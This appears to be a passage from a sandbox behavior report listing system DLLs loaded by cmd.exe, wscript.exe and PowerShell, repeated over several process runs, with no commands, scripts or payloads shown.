Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
